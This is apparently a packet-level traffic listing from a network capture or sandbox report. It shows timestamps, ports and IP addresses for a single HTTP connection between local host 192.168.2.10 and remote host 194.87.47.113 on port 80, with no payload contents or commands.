Dec 19, 2024 08:21:31.322477102 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:31.322518110 CET	49720	80	192.168.2.10	194.87.47.113
Dec 19, 2024 08:21:31.323050022 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:31.323062897 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:31.323096991 CET	49720	80	192.168.2.10	194.87.47.113
Dec 19, 2024 08:21:31.324219942 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:31.324232101 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:31.324265003 CET	49720	80	192.168.2.10	194.87.47.113
Dec 19, 2024 08:21:31.324692011 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:31.324706078 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:31.324733973 CET	49720	80	192.168.2.10	194.87.47.113
Dec 19, 2024 08:21:31.326577902 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:31.326601982 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:31.326613903 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:31.326637983 CET	49720	80	192.168.2.10	194.87.47.113
Dec 19, 2024 08:21:31.326664925 CET	49720	80	192.168.2.10	194.87.47.113
Dec 19, 2024 08:21:31.386399031 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:31.386495113 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:31.386562109 CET	49720	80	192.168.2.10	194.87.47.113
Dec 19, 2024 08:21:31.386768103 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:31.386889935 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:31.386925936 CET	49720	80	192.168.2.10	194.87.47.113
Dec 19, 2024 08:21:31.387638092 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:31.387784958 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:31.387833118 CET	49720	80	192.168.2.10	194.87.47.113
Dec 19, 2024 08:21:31.388757944 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:31.388997078 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:31.389043093 CET	49720	80	192.168.2.10	194.87.47.113
Dec 19, 2024 08:21:31.389715910 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:31.389888048 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:31.389925957 CET	49720	80	192.168.2.10	194.87.47.113
Dec 19, 2024 08:21:31.390531063 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:31.390687943 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:31.390727997 CET	49720	80	192.168.2.10	194.87.47.113
Dec 19, 2024 08:21:31.391280890 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:31.391444921 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:31.391488075 CET	49720	80	192.168.2.10	194.87.47.113
Dec 19, 2024 08:21:31.443403006 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:31.443578959 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:31.443648100 CET	49720	80	192.168.2.10	194.87.47.113
Dec 19, 2024 08:21:31.443952084 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:31.444137096 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:31.444184065 CET	49720	80	192.168.2.10	194.87.47.113
Dec 19, 2024 08:21:31.444633961 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:31.444806099 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:31.444856882 CET	49720	80	192.168.2.10	194.87.47.113
Dec 19, 2024 08:21:31.445382118 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:31.445451975 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:31.445497036 CET	49720	80	192.168.2.10	194.87.47.113
Dec 19, 2024 08:21:31.446058989 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:31.446177959 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:31.446230888 CET	49720	80	192.168.2.10	194.87.47.113
Dec 19, 2024 08:21:31.446732998 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:31.446791887 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:31.446856976 CET	49720	80	192.168.2.10	194.87.47.113
Dec 19, 2024 08:21:31.447468042 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:31.447609901 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:31.447649002 CET	49720	80	192.168.2.10	194.87.47.113
Dec 19, 2024 08:21:31.448319912 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:31.448465109 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:31.448507071 CET	49720	80	192.168.2.10	194.87.47.113
Dec 19, 2024 08:21:31.449167967 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:31.449328899 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:31.449371099 CET	49720	80	192.168.2.10	194.87.47.113
Dec 19, 2024 08:21:31.449836016 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:31.449913979 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:31.449953079 CET	49720	80	192.168.2.10	194.87.47.113
Dec 19, 2024 08:21:31.450769901 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:31.450896978 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:31.451147079 CET	49720	80	192.168.2.10	194.87.47.113
Dec 19, 2024 08:21:31.451788902 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:31.451899052 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:31.451936007 CET	49720	80	192.168.2.10	194.87.47.113
Dec 19, 2024 08:21:31.452778101 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:31.452867985 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:31.452917099 CET	49720	80	192.168.2.10	194.87.47.113
Dec 19, 2024 08:21:31.453491926 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:31.492635965 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:31.492664099 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:31.492752075 CET	49720	80	192.168.2.10	194.87.47.113
Dec 19, 2024 08:21:31.492959023 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:31.493007898 CET	49720	80	192.168.2.10	194.87.47.113
Dec 19, 2024 08:21:31.493020058 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:31.493732929 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:31.493787050 CET	49720	80	192.168.2.10	194.87.47.113
Dec 19, 2024 08:21:31.493845940 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:31.494524002 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:31.494577885 CET	49720	80	192.168.2.10	194.87.47.113
Dec 19, 2024 08:21:31.494626999 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:31.495363951 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:31.495414972 CET	49720	80	192.168.2.10	194.87.47.113
Dec 19, 2024 08:21:31.495469093 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:31.496130943 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:31.496170998 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:31.496186972 CET	49720	80	192.168.2.10	194.87.47.113
Dec 19, 2024 08:21:31.496943951 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:31.496994019 CET	49720	80	192.168.2.10	194.87.47.113
Dec 19, 2024 08:21:31.497008085 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:31.497726917 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:31.497771978 CET	49720	80	192.168.2.10	194.87.47.113
Dec 19, 2024 08:21:31.497852087 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:31.498518944 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:31.498589039 CET	49720	80	192.168.2.10	194.87.47.113
Dec 19, 2024 08:21:31.498598099 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:31.499274969 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:31.499330044 CET	49720	80	192.168.2.10	194.87.47.113
Dec 19, 2024 08:21:31.499377012 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:31.500065088 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:31.500119925 CET	49720	80	192.168.2.10	194.87.47.113
Dec 19, 2024 08:21:31.500168085 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:31.500880957 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:31.500932932 CET	49720	80	192.168.2.10	194.87.47.113
Dec 19, 2024 08:21:31.501034021 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:31.501696110 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:31.501749992 CET	49720	80	192.168.2.10	194.87.47.113
Dec 19, 2024 08:21:31.501782894 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:31.502537966 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:31.502587080 CET	49720	80	192.168.2.10	194.87.47.113
Dec 19, 2024 08:21:31.502654076 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:31.503307104 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:31.503330946 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:31.503350973 CET	49720	80	192.168.2.10	194.87.47.113
Dec 19, 2024 08:21:31.504086018 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:31.504146099 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:31.504148006 CET	49720	80	192.168.2.10	194.87.47.113
Dec 19, 2024 08:21:31.504889965 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:31.504935026 CET	49720	80	192.168.2.10	194.87.47.113
Dec 19, 2024 08:21:31.504936934 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:31.505620956 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:31.505669117 CET	49720	80	192.168.2.10	194.87.47.113
Dec 19, 2024 08:21:31.505754948 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:31.506419897 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:31.506463051 CET	49720	80	192.168.2.10	194.87.47.113
Dec 19, 2024 08:21:31.506517887 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:31.507210970 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:31.507240057 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:31.507246017 CET	49720	80	192.168.2.10	194.87.47.113
Dec 19, 2024 08:21:31.507997036 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:31.508049965 CET	49720	80	192.168.2.10	194.87.47.113
Dec 19, 2024 08:21:31.508104086 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:31.508810043 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:31.508862019 CET	49720	80	192.168.2.10	194.87.47.113
Dec 19, 2024 08:21:31.508965969 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:31.509555101 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:31.509609938 CET	49720	80	192.168.2.10	194.87.47.113
Dec 19, 2024 08:21:31.509643078 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:31.510339975 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:31.510411024 CET	49720	80	192.168.2.10	194.87.47.113
Dec 19, 2024 08:21:31.510451078 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:31.511245966 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:31.511296988 CET	49720	80	192.168.2.10	194.87.47.113
Dec 19, 2024 08:21:31.511365891 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:31.511945009 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:31.511992931 CET	49720	80	192.168.2.10	194.87.47.113
Dec 19, 2024 08:21:31.512049913 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:31.512754917 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:31.512826920 CET	49720	80	192.168.2.10	194.87.47.113
Dec 19, 2024 08:21:31.512836933 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:31.513561964 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:31.513602972 CET	49720	80	192.168.2.10	194.87.47.113
Dec 19, 2024 08:21:31.513623953 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:31.514283895 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:31.514323950 CET	49720	80	192.168.2.10	194.87.47.113
Dec 19, 2024 08:21:31.514408112 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:31.515122890 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:31.515167952 CET	49720	80	192.168.2.10	194.87.47.113
Dec 19, 2024 08:21:31.515216112 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:31.515912056 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:31.515954018 CET	49720	80	192.168.2.10	194.87.47.113
Dec 19, 2024 08:21:31.515984058 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:31.516719103 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:31.516760111 CET	49720	80	192.168.2.10	194.87.47.113
Dec 19, 2024 08:21:31.516886950 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:31.517488956 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:31.517503023 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:31.517533064 CET	49720	80	192.168.2.10	194.87.47.113
Dec 19, 2024 08:21:31.518229961 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:31.518284082 CET	49720	80	192.168.2.10	194.87.47.113
Dec 19, 2024 08:21:31.578649998 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:31.578742981 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:31.578790903 CET	49720	80	192.168.2.10	194.87.47.113
Dec 19, 2024 08:21:31.578913927 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:31.579013109 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:31.579049110 CET	49720	80	192.168.2.10	194.87.47.113
Dec 19, 2024 08:21:31.579662085 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:31.579746962 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:31.579787970 CET	49720	80	192.168.2.10	194.87.47.113
Dec 19, 2024 08:21:31.580487013 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:31.580595016 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:31.580634117 CET	49720	80	192.168.2.10	194.87.47.113
Dec 19, 2024 08:21:31.581238985 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:31.581358910 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:31.581397057 CET	49720	80	192.168.2.10	194.87.47.113
Dec 19, 2024 08:21:31.582039118 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:31.582133055 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:31.582170010 CET	49720	80	192.168.2.10	194.87.47.113
Dec 19, 2024 08:21:31.582855940 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:31.582930088 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:31.582971096 CET	49720	80	192.168.2.10	194.87.47.113
Dec 19, 2024 08:21:31.635108948 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:31.635204077 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:31.635284901 CET	49720	80	192.168.2.10	194.87.47.113
Dec 19, 2024 08:21:31.635489941 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:31.635710955 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:31.635751009 CET	49720	80	192.168.2.10	194.87.47.113
Dec 19, 2024 08:21:31.636264086 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:31.636384010 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:31.636423111 CET	49720	80	192.168.2.10	194.87.47.113
Dec 19, 2024 08:21:31.637059927 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:31.637198925 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:31.637236118 CET	49720	80	192.168.2.10	194.87.47.113
Dec 19, 2024 08:21:31.637841940 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:31.638022900 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:31.638062000 CET	49720	80	192.168.2.10	194.87.47.113
Dec 19, 2024 08:21:31.638643980 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:31.638705015 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:31.638742924 CET	49720	80	192.168.2.10	194.87.47.113
Dec 19, 2024 08:21:31.639436007 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:31.639502048 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:31.639537096 CET	49720	80	192.168.2.10	194.87.47.113
Dec 19, 2024 08:21:31.640253067 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:31.640403986 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:31.640441895 CET	49720	80	192.168.2.10	194.87.47.113
Dec 19, 2024 08:21:31.641021967 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:31.641143084 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:31.641197920 CET	49720	80	192.168.2.10	194.87.47.113
Dec 19, 2024 08:21:31.641788960 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:31.641920090 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:31.641959906 CET	49720	80	192.168.2.10	194.87.47.113
Dec 19, 2024 08:21:31.642586946 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:31.642689943 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:31.642728090 CET	49720	80	192.168.2.10	194.87.47.113
Dec 19, 2024 08:21:31.643410921 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:31.643505096 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:31.643558025 CET	49720	80	192.168.2.10	194.87.47.113
Dec 19, 2024 08:21:31.644166946 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:31.644283056 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:31.644325972 CET	49720	80	192.168.2.10	194.87.47.113
Dec 19, 2024 08:21:31.644967079 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:31.685059071 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:31.685095072 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:31.685216904 CET	49720	80	192.168.2.10	194.87.47.113
Dec 19, 2024 08:21:31.685216904 CET	49720	80	192.168.2.10	194.87.47.113
Dec 19, 2024 08:21:31.685332060 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:31.685408115 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:31.685451984 CET	49720	80	192.168.2.10	194.87.47.113
Dec 19, 2024 08:21:31.686070919 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:31.686162949 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:31.686219931 CET	49720	80	192.168.2.10	194.87.47.113
Dec 19, 2024 08:21:31.686846018 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:31.686981916 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:31.687036037 CET	49720	80	192.168.2.10	194.87.47.113
Dec 19, 2024 08:21:31.687618017 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:31.687742949 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:31.687798977 CET	49720	80	192.168.2.10	194.87.47.113
Dec 19, 2024 08:21:31.688400030 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:31.688512087 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:31.688563108 CET	49720	80	192.168.2.10	194.87.47.113
Dec 19, 2024 08:21:31.689203978 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:31.689321995 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:31.689372063 CET	49720	80	192.168.2.10	194.87.47.113
Dec 19, 2024 08:21:31.690032959 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:31.690172911 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:31.690222979 CET	49720	80	192.168.2.10	194.87.47.113
Dec 19, 2024 08:21:31.690779924 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:31.690898895 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:31.690948009 CET	49720	80	192.168.2.10	194.87.47.113
Dec 19, 2024 08:21:31.691586018 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:31.691667080 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:31.691715002 CET	49720	80	192.168.2.10	194.87.47.113
Dec 19, 2024 08:21:31.692378998 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:31.692492008 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:31.692547083 CET	49720	80	192.168.2.10	194.87.47.113
Dec 19, 2024 08:21:31.693150997 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:31.693264008 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:31.693315029 CET	49720	80	192.168.2.10	194.87.47.113
Dec 19, 2024 08:21:31.693948030 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:31.694051027 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:31.694109917 CET	49720	80	192.168.2.10	194.87.47.113
Dec 19, 2024 08:21:31.694739103 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:31.694888115 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:31.694932938 CET	49720	80	192.168.2.10	194.87.47.113
Dec 19, 2024 08:21:31.695549965 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:31.695718050 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:31.695768118 CET	49720	80	192.168.2.10	194.87.47.113
Dec 19, 2024 08:21:31.696388006 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:31.696541071 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:31.696584940 CET	49720	80	192.168.2.10	194.87.47.113
Dec 19, 2024 08:21:31.697141886 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:31.697170019 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:31.697220087 CET	49720	80	192.168.2.10	194.87.47.113
Dec 19, 2024 08:21:31.697885036 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:31.698021889 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:31.698065042 CET	49720	80	192.168.2.10	194.87.47.113
Dec 19, 2024 08:21:31.698689938 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:31.698889017 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:31.698932886 CET	49720	80	192.168.2.10	194.87.47.113
Dec 19, 2024 08:21:31.699536085 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:31.699587107 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:31.699626923 CET	49720	80	192.168.2.10	194.87.47.113
Dec 19, 2024 08:21:31.700253010 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:31.700396061 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:31.700442076 CET	49720	80	192.168.2.10	194.87.47.113
Dec 19, 2024 08:21:31.701088905 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:31.701188087 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:31.701240063 CET	49720	80	192.168.2.10	194.87.47.113
Dec 19, 2024 08:21:31.701874018 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:31.701989889 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:31.702039957 CET	49720	80	192.168.2.10	194.87.47.113
Dec 19, 2024 08:21:31.702651978 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:31.702784061 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:31.702828884 CET	49720	80	192.168.2.10	194.87.47.113
Dec 19, 2024 08:21:31.703500986 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:31.703546047 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:31.703593016 CET	49720	80	192.168.2.10	194.87.47.113
Dec 19, 2024 08:21:31.704252958 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:31.704334021 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:31.704382896 CET	49720	80	192.168.2.10	194.87.47.113
Dec 19, 2024 08:21:31.705045938 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:31.705194950 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:31.705249071 CET	49720	80	192.168.2.10	194.87.47.113
Dec 19, 2024 08:21:31.705869913 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:31.706082106 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:31.706130981 CET	49720	80	192.168.2.10	194.87.47.113
Dec 19, 2024 08:21:31.706618071 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:31.706679106 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:31.706731081 CET	49720	80	192.168.2.10	194.87.47.113
Dec 19, 2024 08:21:31.707530975 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:31.707601070 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:31.707653046 CET	49720	80	192.168.2.10	194.87.47.113
Dec 19, 2024 08:21:31.708322048 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:31.709012032 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:31.709064960 CET	49720	80	192.168.2.10	194.87.47.113
Dec 19, 2024 08:21:31.709223032 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:31.709245920 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:31.709290028 CET	49720	80	192.168.2.10	194.87.47.113
Dec 19, 2024 08:21:31.710093975 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:31.710222006 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:31.710266113 CET	49720	80	192.168.2.10	194.87.47.113
Dec 19, 2024 08:21:31.710740089 CET	80	49720	194.87.47.113	192.168.2.10
